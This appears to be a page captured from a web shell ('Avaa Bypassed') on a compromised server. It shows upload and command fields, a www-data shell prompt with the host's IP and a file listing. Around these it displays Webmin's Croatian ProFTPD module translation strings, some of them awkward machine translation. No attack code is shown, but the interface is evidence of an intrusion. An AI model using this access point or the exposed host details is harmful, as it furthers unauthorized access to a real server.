[ Avaa Bypassed ]




Upload:

Command:

www-data@18.216.70.76: ~ $
index_title=ProFTPD poslužitelj
index_eproftpd=ProFTPD poslužitelj $1 nije pronađen u vašem sustavu. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna.
index_eproftpd2=Čini se da program $1 nije ProFTPD poslužitelj. Možda nije instaliran ili je vaša <a href='$2'>konfiguracija modula</a> netočna. Izlaz iz naredbe $3 bio je : $4 
index_eversion=Verzija $1 poslužitelja ProFTPD ne podržava Webmin.
index_econf=Konfiguracijska datoteka ProFTPD $1 ne postoji ili nije valjana. Možda je vaša konfiguracija <a href='$2'>modula</a> netočna.
index_apply=Primijeni promjene
index_applymsg=Kliknite ovaj gumb kako biste primijenili trenutnu konfiguraciju slanjem SIGHUP signala u pokrenuti ProFTPD postupak.
index_applymsg2=Kliknite ovaj gumb kako biste primijenili trenutnu konfiguraciju zaustavljanjem i ponovnim pokretanjem ProFTPD-a.
index_start=Pokrenite poslužitelj
index_startmsg=Kliknite ovaj gumb za pokretanje FTP poslužitelja s trenutnom konfiguracijom. Također možete konfigurirati poslužitelj da se automatski pokrene po potrebi pomoću modula <a href='$1'>Internet usluge</a>.
index_startmsg2=Kliknite ovaj gumb za pokretanje FTP poslužitelja s trenutnom konfiguracijom. Također možete konfigurirati poslužitelj da se automatski pokrene prema potrebi pomoću inetd-a ili nekog sličnog programa.
index_stop=Zaustavi poslužitelj
index_stopmsg=Kliknite ovaj gumb kako biste zaustavili FTP poslužitelj, što će spriječiti da se novi FTP klijenti povezuju.
index_return=glavni izbornik
index_virts=Virtualni poslužitelji
index_virt=Virtualni poslužitelj
index_type=Vrsta poslužitelja
index_addr=Adresa
index_name=Naziv poslužitelja
index_port=FTP priključak
index_defserv=Zadani poslužitelj
index_defdesc=Rukuje bilo FTP vezama koje virtualni poslužitelji ne upravljaju.
index_any=bilo koji
index_vdesc=Obrađuje sve veze na $1 
index_eip=&lt;Nepoznati&gt;
index_global=Globalna konfiguracija
index_create=Stvaranje virtualnog poslužitelja
index_version=ProFTPd verzija $1 
index_proftpd=ProFTPD

efailed=Spremanje $1 nije uspjelo

type_0=Opcije umrežavanja
type_1=Opcije zapisivanja
type_2=Datoteke i mape
type_3=Kontrola pristupa
type_4=razni
type_5=Korisnik i grupa
type_6=Ovjera

virt_title=Opcije virtualnog poslužitelja
virt_header1=Za $1 
virt_header2=Za zadani poslužitelj
virt_header3=Opcije $1 
virt_anon=Anonimni FTP
virt_header=Opcije po direktoriju i po naredbi
virt_dir=Imenik $1 
virt_limit=Naredbe $1 
virt_adddir=Dodavanje opcija u imeniku za ..
virt_addlimit=Dodajte opcije po naredbi za ..
virt_path=Put direktorija
virt_cmds=FTP naredbe
virt_return=virtualni poslužitelj
virt_virt=Konfiguriranje virtualnog poslužitelja
virt_edit=Uređivanje direktiva

vserv_title=Konfiguriranje virtualnog poslužitelja
vserv_addr=Adresa
vserv_name=Naziv poslužitelja
vserv_port=FTP priključak
vserv_delete=Izbriši virtualni poslužitelj
vserv_eaddr=Nedostaje ili nije valjana adresa
vserv_eport=Nedostaje ili nevažeći broj porta
vserv_ename=Nedostaje naziv poslužitelja

anon_title=Anonimne FTP mogućnosti
anon_header1=U virtualnom poslužitelju $1 
anon_header2=Na zadanom poslužitelju
anon_anon=Konfigurirajte anonimni FTP
anon_return=anonimne FTP opcije
anon_header3=Za anonimni FTP u virtualnom poslužitelju $1 
anon_header4=Za anonimni FTP na zadanom poslužitelju

aserv_title=Konfigurirajte anonimni FTP
aserv_create=Postavljanje anonimnog FTP-a
aserv_root=Ograniči se na direktorij
aserv_user=Pristupite datotekama kao korisnik
aserv_group=Pristupite datotekama kao grupi
aserv_err=Spremanje anonimnog FTP-a nije uspjelo
aserv_eroot=Nedostaje ili je nevažeći chroot direktorij
aserv_euser=Nedostaje ili nije važeći Unix korisnik
aserv_egroup=Nedostaje ili nije važeća Unix grupa
aserv_desc=Anonimni FTP još nije postavljen za ovaj virtualni poslužitelj. Pomoću ovog obrasca postavite početne mogućnosti konfiguracije.

dir_title=Opcije po direktoriju
dir_header2=Za direktorij $1 na zadanom poslužitelju
dir_header1=Za direktorij $1 u virtualnom poslužitelju $2 
dir_edit=Uređivanje direktiva
dir_return=opcije po direktoriju
dir_header3=Opcije $1 u $2 
dir_header=Opcije po naredbi
dir_dir=Konfiguriranje imenika
dir_header4=Za direktorij $1 u anonimnom FTP-u
dir_header5=Za globalni direktorij $1 

manual_title=Uređivanje direktiva
manual_header=Upotrijebite donji tekstni okvir za ručno uređivanje ProFTPD smjernica u $1 koje se primjenjuju na ovaj virtualni poslužitelj, direktorij ili naredbe.
manual_configs=Uređivanje datoteka za konfiguriranje
manual_ecannot=Nije vam dopušteno ručno uređivanje naredbi
manual_file=Uređivanje direktiva u datoteci:
manual_efile=Nevažeća konfiguracijska datoteka ProFTPd
manual_etest=Otkrivena je pogreška konfiguracijske datoteke : $1 

limit_title=Opcije po naredbi
limit_header4=Za naredbe $1 u direktoriju $2 
limit_header2=Za naredbe $1 na zadanom poslužitelju
limit_header1=Za naredbe $1 u virtualnom poslužitelju $2 
limit_edit=Uređivanje direktiva
limit_limit=Konfigurirajte naredbe
limit_header3=Opcije $1 za naredbe $2 
limit_return=mogućnosti po naredbi
limit_header5=Za naredbe $1 u anonimnom FTP-u
limit_header6=Za naredbe $1 u datoteci $2 
limit_header7=Za naredbe $1 globalno

lserv_title=Konfigurirajte naredbe
lserv_cmd=FTP naredbe
lserv_delete=Izbriši naredbe config
lserv_err=Spremanje naredbi nije uspjelo
lserv_ecmd=Nije odabrana nijedna naredba

dserv_title=Konfiguriranje imenika
dserv_dir=Put direktorija
dserv_err=Spremanje direktorija nije uspjelo
dserv_edir=Nedostaje staza direktorija
dserv_delete=Izbriši konfiguraciju direktorija
dserv_eanondir=Imenik mora biti pod anonimnim FTP mapama

mod_core_type=Vrsta poslužitelja
mod_core_inetd=Bježi od Inetda
mod_core_stand=Samostalan demon
mod_core_port=Slušaj na luci
mod_core_eport=Nedostaje ili nevažeći broj porta
mod_core_servername=Naziv poslužitelja prikazan korisnicima
mod_core_eservername=Nedostaje naziv poslužitelja
mod_core_defaultserver=Koristite li ovaj virtualni poslužitelj prema zadanim postavkama?
mod_core_instances=Maksimalno istodobne sesije
mod_core_einstances=Nedostaje ili nevažeći broj sesija
mod_core_umask=Novi datotečni umask
mod_core_octal=Octalna maska
mod_core_umask_d=Nova maska direktorija
mod_core_eumask=Nedostaje ili nevažeći umask
mod_core_user=Pokreni kao Unix korisnik
mod_core_uname=Korisničko ime
mod_core_uid=UID
mod_core_group=Pokreni kao Unix grupa
mod_core_gname=Grupno ime
mod_core_gid=GID
mod_core_tlog=FTP prenosi logfile
mod_core_nowhere=Zapis je onemogućen
mod_core_etlog=Nedostaje ili nije važeći logfile prijenosa
mod_core_accessdeny=Poruka prijave nije uspjela
mod_core_accessgrant=Poruka za prijavu uspješna
mod_core_adall=Politika kontrole pristupa
mod_core_addefault=Isto kao roditelj
mod_core_allowall=Dopustite svim klijentima
mod_core_denyall=Odbiti sve klijente
mod_core_filter=Dopuštene FTP naredbe regexp
mod_core_foreign=Želite li omogućiti prijenos stranih podataka?
mod_core_overwrite=Želite li prepisati datoteke?
mod_core_restart=Želite li dopustiti ponovo pokrenuta preuzimanja?
mod_core_restart2=Želite li dopustiti ponovo pokrenuti prijenose?
mod_core_require=Zahtijevate lozinku za anonimnu prijavu?
mod_core_anongroup=Grupe koje tretiraju članove kao anonimne
mod_core_eanongroup=Nije unesena anonimna grupa
mod_core_authalias=Želite li dopustiti samo otuđenim korisnicima prijavu?
mod_core_authusingalias=Koristite alias lozinku za anonimnu prijavu?
mod_core_bind=Vezati za adresu
mod_core_bind_all=Sve adrese
mod_core_ebind=Nedostaje ili nije važeća adresa vezanja
mod_core_cdpath=CD direktoriji
mod_core_classes=Želite li omogućiti nastavu za kontrolu pristupa?
mod_core_cls=Klase kontrole pristupa
mod_core_cname=Naziv klase
mod_core_ctype=Vrsta i vrijednost
mod_core_climit=Maksimalne veze
mod_core_cregex=Podudarnost imena klijenta
mod_core_cip=Klijenta IP mreža/CIDR
mod_core_eclimit=Nedostaju ili nevažeće maks. Veze
mod_core_ecregex=Nedostaje podudaranje imena domaćina klijenta
mod_core_ecip=IP mreža mreže koja nedostaje ili nije važeća/CIDR
mod_core_buffer=Maksimalna duljina naredbe FTP
mod_core_ebuffer=Nedostaje ili nije važeća maksimalna duljina naredbe
mod_core_transfer=Zadani način prijenosa
mod_core_binary=Binarni
mod_core_ascii=ASCII
mod_core_defer=Odgoditi poruku dobrodošlice do nakon prijave?
mod_core_aborted=Želite li izbrisati prekinute prijenose?
mod_core_dfilter=Odbijene FTP naredbe regexp
mod_core_display=Datoteka poruka prije prijave
mod_core_none=nijedan
mod_core_edisplay=Nedostaje datoteka s porukom prije prijave
mod_core_firstcd=Ime datoteke README
mod_core_firstcdt=Uvijek pokaži
mod_core_efirstcd=Nedostaje naziv datoteke README
mod_core_goaway=Previše datoteke s vezama
mod_core_egoaway=Nedostaje previše datoteka za povezivanje
mod_core_login=Datoteka s porukom nakon prijave
mod_core_elogin=Nedostaje datoteka s porukom nakon prijave
mod_core_quit=Datoteka s porukama odjavljivanja
mod_core_equit=Nedostaje datoteka s porukom odjave
mod_core_gowner=Vlasnik prenesenih datoteka grupe
mod_core_egowner=Nedostaje ili nije važeća skupina za prenesene datoteke
mod_core_grouppassword=Grupne lozinke
mod_core_gpname=Unix grupa
mod_core_gppass=Zaporka
mod_core_gpdef=Ostavite nepromijenjeno
mod_core_egpname=Nevažeće ime grupe Unix
mod_core_hstor=Sakriti datoteke tijekom prijenosa?
mod_core_hgroup=Sakrij datoteke u vlasništvu grupa
mod_core_ehgroup=Nevažeće ime grupe za skrivanje datoteka
mod_core_hnoaccess=Sakriti datoteke kojima nije moguće pristupiti?
mod_core_huser=Sakrij datoteke u vlasništvu korisnika
mod_core_ehuser=Nevažeće korisničko ime za sakrivanje datoteka
mod_core_ident=Potražite udaljeno korisničko ime za identitet?
mod_core_ihidden=Da li skrivene datoteke nedostupne?
mod_core_masq=Maskarada kao adresa
mod_core_masq_def=Koristite stvarnu adresu
mod_core_emasq=Nedostaje ili neispravna adresa maskare
mod_core_maxc=Maksimalna prijava istovremeno
mod_core_maxc1=Neograničen
mod_core_maxcmsg=Poruka o pogrešci pri prijavi
mod_core_emaxc=Manjkajući ili nevažeći maksimalni broj prijava
mod_core_maxch=Maksimalna istodobna prijava po hostu
mod_core_maxcu=Maksimalna istodobna prijava po korisniku
mod_core_logins=Maksimalno neuspjele prijave po sesiji
mod_core_elogins=Nedostaje ili nevažeći broj neuspjelih prijava
mod_core_rfc2228=Slanje odgovora u stilu RFC2228?
mod_core_pasv=Paleta PASV priključaka
mod_core_pasvr=Min. - max
mod_core_epasv=Nedostaje ili nevažeći broj porta PASV
mod_core_pathallow=Dopušteno učitavanje regex naziva datoteke
mod_core_any=bilo koji
mod_core_pathdeny=Odbijeno preneseno ime datoteke
mod_core_pidfile=Pišite PID datoteci
mod_core_epidfile=Nedostaje ili nije važeća PID datoteka
mod_core_shell=Dozvoljava li prijavu samo korisnici s važećim shell?
mod_core_cpulimit=Ograničenja resursa za CPU
mod_core_ecpulimit=Ograničenje resursa za CPU
mod_core_memlimit=Ograničenja memorijskih resursa
mod_core_ememlimit=ograničenje resursa memorije
mod_core_filelimit=Otvorite ograničenja datoteka
mod_core_efilelimit=ograničenje otvorenih datoteka
mod_core_soft=Soft limit:
mod_core_hard=Tvrdi limit:
mod_core_max=Maksimum
mod_core_esoft=Nedostaje ili nije važeći soft $1 
mod_core_ehard=Nedostaje ili je nevaljan tvrdi $1 
mod_core_score=Put do kataloga tablice
mod_core_escore=Nedostaje ili nevažeći imenik tablice
mod_core_admin=E-adresa administratora poslužitelja
mod_core_eadmin=Nedostaje ili nevažeća adresa e-pošte
mod_core_identmsg=Poruka o vezi s klijentom
mod_core_identmsg_def=Prikaži zadanu poruku
mod_core_links=Prikaži simbolične veze?
mod_core_tight=Vezati samo potrebne luke?
mod_core_facility=Objekt dnevnika sustava
mod_core_level=Razina zapisnika sustava
mod_core_backlog=Duljina reda zaostajanja TCP-a
mod_core_ebacklog=Nedostaje ili nije važeća dužina čekanja zaostalih predmeta
mod_core_nodelay=Koristite opciju TCP_NODELAY utičnice?
mod_core_rwindow=Veličina prozora TCP primanja
mod_core_erwindow=Nedostaje ili nije važeća veličina prozora za primanje
mod_core_swindow=TCP poslati veličinu prozora
mod_core_eswindow=Nedostaje ili nije važeća veličina prozora za slanje
mod_core_gmt=Prikaži vremena u GMT?
mod_core_tidle=Prije isključenja isključite vrijeme mirovanja
mod_core_etidle=Nedostaje ili nije valjano vrijeme mirovanja
mod_core_secs=sekundi
mod_core_tlogin=Vrijeme je za pričekati autentifikaciju
mod_core_etlogin=Nedostaje ili nije valjano vrijeme provjere autentičnosti
mod_core_ttransfer=Vrijeme je za pričekati prvi transfer
mod_core_ettransfer=Nedostaje ili nije valjano prvo vrijeme prijenosa
mod_core_tstalled=Vrijeme je za pričekati zastajkivan prijenos podataka
mod_core_etstalled=Nedostaje ili nije valjano zaustavljeno vrijeme prijenosa
mod_core_ftpusers=Želite li odbiti korisnike u/etc/ftpusers datoteci?
mod_core_hostsallow=Domaćini će dopustiti datoteku
mod_core_ehostsallow=Domaćini koji će dopustiti datoteku ne postoje
mod_core_hostsdeny=Domaćini će odbiti datoteku
mod_core_ehostsdeny=Domaćini za odbijanje datoteke ne postoje
mod_core_revdns=Izvode li obrnute DNS pretrage klijentovih adresa?
mod_core_userdir=Chroot poddirektoriju korisničkog imena?
mod_core_ualias=Pseća imena korisnika
mod_core_afrom=Korisničko ime za prijavu
mod_core_ato=Pravo korisničko ime
mod_core_eafrom=Nevažeće korisničko ime za prijavu u pseudonimu
mod_core_eato=Nedostaje ili nije ispravno pravo korisničko ime u pseudonimu
mod_core_uowner=Vlasnik prenesenih datoteka
mod_core_euowner=Nedostaje ili nije važeći vlasnik za prenesene datoteke
mod_core_userpassword=Poništavaju korisničke lozinke
mod_core_upname=Unix korisnik
mod_core_uppass=Zaporka
mod_core_updef=Ostavite nepromijenjeno
mod_core_eupname=Nevažeće korisničko ime Unixa
mod_core_wtmp=Napisati prijave u wtmp?
mod_core_allow_deny=Ograniči pristup
mod_core_allowdeny=Dopustite tada zanijekati
mod_core_denyallow=Odbiti tada dopustiti
mod_core_allow=dopustiti
mod_core_deny=poreći
mod_core_mode_0=svi
mod_core_mode_1=nijedan
mod_core_mode_2=IP adresa
mod_core_mode_3=Mreža
mod_core_mode_4=Ime računala
mod_core_cond=Stanje
mod_core_action=Radnja
mod_core_agroup=Dopuštanje samo grupama
mod_core_auser=Dopusti samo korisnicima
mod_core_all=svi
mod_core_dgroup=Negirajte grupe
mod_core_duser=Zabrani korisnicima
mod_core_eip='$1' nije valjana IP adresa
mod_core_enet='$1' nije valjana mrežna adresa
mod_core_ehost='$1' nije valjano ime računala

mod_ls_fakegroup=Lažna skupina u popisima direktorija?
mod_ls_fakeuser=Lažni korisnik u popisima direktorija?
mod_ls_fakemode=Lažna dopuštenja u popisima direktorija
mod_ls_nofake=Prava dopuštenja
mod_ls_efakemode=Lažna dopuštenja moraju biti u oktalu
mod_ls_dotfiles=Prikaži datoteke koje počinju sa. u popisima?
mod_ls_ls=Dodatne mogućnosti ls
mod_ls_els=Nedostaju dodatne mogućnosti ls
mod_ls_fakeasuser=Da, kao korisnik ..
mod_ls_fakesameuser=Povezani korisnik
mod_ls_fakeasgroup=Da, kao grupa ..
mod_ls_fakesamegroup=Povezana grupa
mod_ls_efakeuser=Nedostaje ili je nevažeći lažni korisnik
mod_ls_efakegroup=Nedostaje ili je nevaljana lažna skupina
mod_ls_options=Opcije popisa direktorija
mod_ls_strict=Preglasiti korisničke mogućnosti?

mod_auth_chdir=Početna direktorija za prijavu
mod_auth_echdir=Nedostaje ili nije važeći početni imenik
mod_auth_chroot=Ograničite korisnike na direktorije
mod_auth_home=Domaći direktorij
mod_auth_none=nijedan
mod_auth_dir=Imenik
mod_auth_groups=Unix grupe
mod_auth_all=Svatko
mod_auth_edir=Nevažeći chroot direktorij
mod_auth_egroups=Nisu unesene Unix grupe za chroot
mod_auth_echroot=Nedostaje ili je nevažeći chroot direktorij
mod_auth_login=Ne tražite lozinku ako je prijava odbijena?
mod_auth_root=Želite li dopustiti prijavu po korijenu?

mod_site_chmod=Dozvoli chmod naredbu?

mod_unixpw_ufile=Zamjenska datoteka za Unix lozinku
mod_unixpw_eufile=Nedostaje ili nije važeća Unix datoteka zaporke
mod_unixpw_gfile=Zamijenite datoteku Unix grupe
mod_unixpw_egfile=Nedostaje ili nije važeća Unix datoteka datoteke
mod_unixpw_none=nijedan
mod_unixpw_pam=Uvijek tretirajte PAM kao autorski?
mod_unixpw_persist=Da li je datoteka lozinke stalno otvorena?

mod_log_syslog=Pogreške u zapisniku za datoteku
mod_log_sysdef=Dnevnik sustava
mod_log_esyslog=Nedostaje ili nije važeća datoteka zapisnika
mod_log_extended=Prilagođene zapisnike
mod_log_file=zapisnik
mod_log_cmd=Za FTP naredbe
mod_log_nick=Format zapisa
mod_log_all=svi
mod_log_ecmd=Nedostaju FTP naredbe
mod_log_enick=Nedostaje ili nevaljano ime formata dnevnika
mod_log_ecmdnick=Morate unijeti format zapisa prilikom određivanja naredbi za zapisnik
mod_log_nickname=Naziv formata
mod_log_fmt=Format niza
mod_log_format=Prilagođeni formati dnevnika
mod_log_enickname=Nedostaje ili nevažeće ime formata
mod_log_efmt=Nedostaje string formata

mod_pam_pam=Koristite PAM za provjeru autentičnosti?
mod_pam_config=Autentifikacija pomoću PAM usluge
mod_pam_econfig=Nedostaje ili nije važeća PAM usluga

mod_readme_display=Obavijesti korisnika o readme datotekama koje odgovaraju
mod_readme_none=nijedan
mod_readme_edisplay=Nedostaje obrazac datoteka readme datoteke

start_err=Nije uspio pokretanje FTP poslužitelja
start_einetd=Ne možete pokrenuti demon poslužitelja kad je u inetd modu.

stop_err=Zaustavljanje FTP poslužitelja nije uspjelo
stop_einetd=Ne možete zaustaviti demon poslužitelja kad je u inetd modu.
stop_erun=Ne trčim

apply_err=Primjena konfiguracije FTP nije uspjela
apply_egone=Nema više trčanja

ftpaccess_title=Datoteke s mogućnostima po direktoriju
ftpaccess_desc=Dodatne mogućnosti po direktoriju mogu se odrediti u datoteci (obično se zove <tt>.ftpaccess</tt>) u svakoj mapi. Opcije se primjenjuju na sve datoteke u tom direktoriju i na sve podmape, osim ako ih ne nadjača druga datoteka opcija.
ftpaccess_create=Stvorite datoteku s opcijama
ftpaccess_find=Pronalaženje datoteka datoteka
ftpaccess_auto=Pod anonimnim
ftpaccess_from=Iz imenika
ftpaccess_return=popis datoteka opcija

ftpusers_title=Zabranjeni korisnici FTP-a
ftpusers_desc=Ako je omogućeno pod ikonom <tt>Provjera identiteta</tt>, korisnicima navedenima u nastavku iz datoteke $1 bit će onemogućen pristup prijavi FTP korisniku.

ftpindex_title=Datoteka s mogućnostima po direktoriju
ftpindex_delete=Izbrisati dateoteku
ftpindex_opts=Opcije po direktoriju
ftpindex_edit=Uređivanje direktiva
ftpindex_limit=Opcije po naredbi
ftpindex_addlimit=Dodajte opcije po naredbi za ..
ftpindex_header2=$1 u $2 
ftpindex_return=datoteka opcija po direktoriju
ftpindex_header=Za $1 

find_err=Pronalaženje datoteka s opcijama nije uspjelo
find_eanon=Anonymous FTP nije postavljanje na bilo koji virtualni poslužitelj

log_global=Izmijenjene su globalne $1 mogućnosti
log_ftpusers=Izmijenjeni su odbijeni korisnici FTP-a
log_virtc=Izrađen poslužitelj $1 
log_virts=Rekonfigurirani poslužitelj $1 
log_virtd=Izbrisan poslužitelj $1 
log_virtm=Ručno uređeni poslužitelj $1 
log_virt=Izmijenjeno $1 na poslužitelju $2 
log_dirc=Izrađen direktorij $1 
log_dirc_l=Izrađen direktorij $1 na poslužitelju $2 
log_dirs=Izmijenjeni imenik $1 
log_dirs_l=Promijenjen je direktorij $1 na poslužitelju $2 
log_dird=Izbrisan je direktorij $1 
log_dird_l=Izbrisan je direktorij $1 na poslužitelju $2 
log_dirm=Ručno uređeni imenik $1 
log_dirm_l=Ručno uređeni imenik $1 na poslužitelju $2 
log_dir=Promijenjeno $1 u direktoriju $2 
log_dir_l=Promijenjeno $1 u imeniku $2 na serveru $3 
log_limitc=Izrađene su opcije po naredbi za $1 
log_limits=Rekonfigurirane opcije po naredbi za $1 
log_limitd=Izbrisane opcije po naredbi za $1 
log_limitm=Ručno uređene mogućnosti po naredbi za $1 
log_limit=Izmijenjeno je $1 u opcijama po naredbi za $2 
log_ftpaccessc=Stvorena datoteka opcija $1 
log_ftpaccessd=Izbrisana datoteka opcija $1 
log_ftpaccessm=Datoteka s mogućnostima ručno uređenih $1 
log_ftpaccess=Izmijenjena $1 u datoteci opcija $2 
log_anonc=Postavljanje anonimnog FTP-a za poslužitelj $1 
log_anons=Rekonfiguriran anonimni FTP za poslužitelj $1 
log_anond=Izbrisan je anonimni FTP za poslužitelj $1 
log_anonm=Ručno uređeni anonimni FTP za poslužitelj $1 
log_anon=Promijenjen je $1 u anonimni FTP za poslužitelj $2 
log_start=Počeo proftpd
log_apply=Primijenjene promjene

eafter=Provjera konfiguracije nije uspjela: $1 Promjene nisu spremljene.
proftpd_apply=Primijeni promjene
proftpd_stop=Zaustavite ProFTPd
proftpd_start=Pokrenite ProFTPd

Filemanager

Name Type Size Permission Actions
af.auto File 18.51 KB 0644
ar.auto File 24.83 KB 0644
be.auto File 30.23 KB 0644
bg.auto File 30.67 KB 0644
ca File 20.84 KB 0644
cs File 18.77 KB 0644
cs.auto File 1.41 KB 0644
da.auto File 18.7 KB 0644
de File 21.01 KB 0644
el.auto File 32.2 KB 0644
en File 17.49 KB 0644
es File 18.59 KB 0644
es.auto File 1.83 KB 0644
eu.auto File 20.01 KB 0644
fa File 28.26 KB 0644
fa.auto File 870 B 0644
fi.auto File 20.26 KB 0644
fr File 21.42 KB 0644
he.auto File 23.04 KB 0644
hr.auto File 20.01 KB 0644
hu File 20.25 KB 0644
hu.auto File 1.39 KB 0644
it File 15.68 KB 0644
it.auto File 2.08 KB 0644
ja File 22.99 KB 0644
ja.auto File 996 B 0644
ko File 21.61 KB 0644
ko.auto File 162 B 0644
lt.auto File 20.58 KB 0644
lv.auto File 20.03 KB 0644
ms.auto File 19.09 KB 0644
mt.auto File 19.83 KB 0644
nl File 19.35 KB 0644
no File 18.67 KB 0644
pl File 20.44 KB 0644
pt.auto File 20 KB 0644
pt_BR File 20.15 KB 0644
pt_BR.auto File 105 B 0644
ro.auto File 20.39 KB 0644
ru File 28.95 KB 0644
ru.auto File 2.1 KB 0644
sk.auto File 20.33 KB 0644
sl.auto File 19.31 KB 0644
sv.auto File 18.79 KB 0644
th.auto File 38.66 KB 0644
tr.auto File 20.14 KB 0644
uk File 28.97 KB 0644
uk.auto File 2.04 KB 0644
ur.auto File 26.65 KB 0644
vi.auto File 22.8 KB 0644
zh File 15.25 KB 0644
zh.auto File 1.61 KB 0644
zh_TW File 16.51 KB 0644
zh_TW.auto File 455 B 0644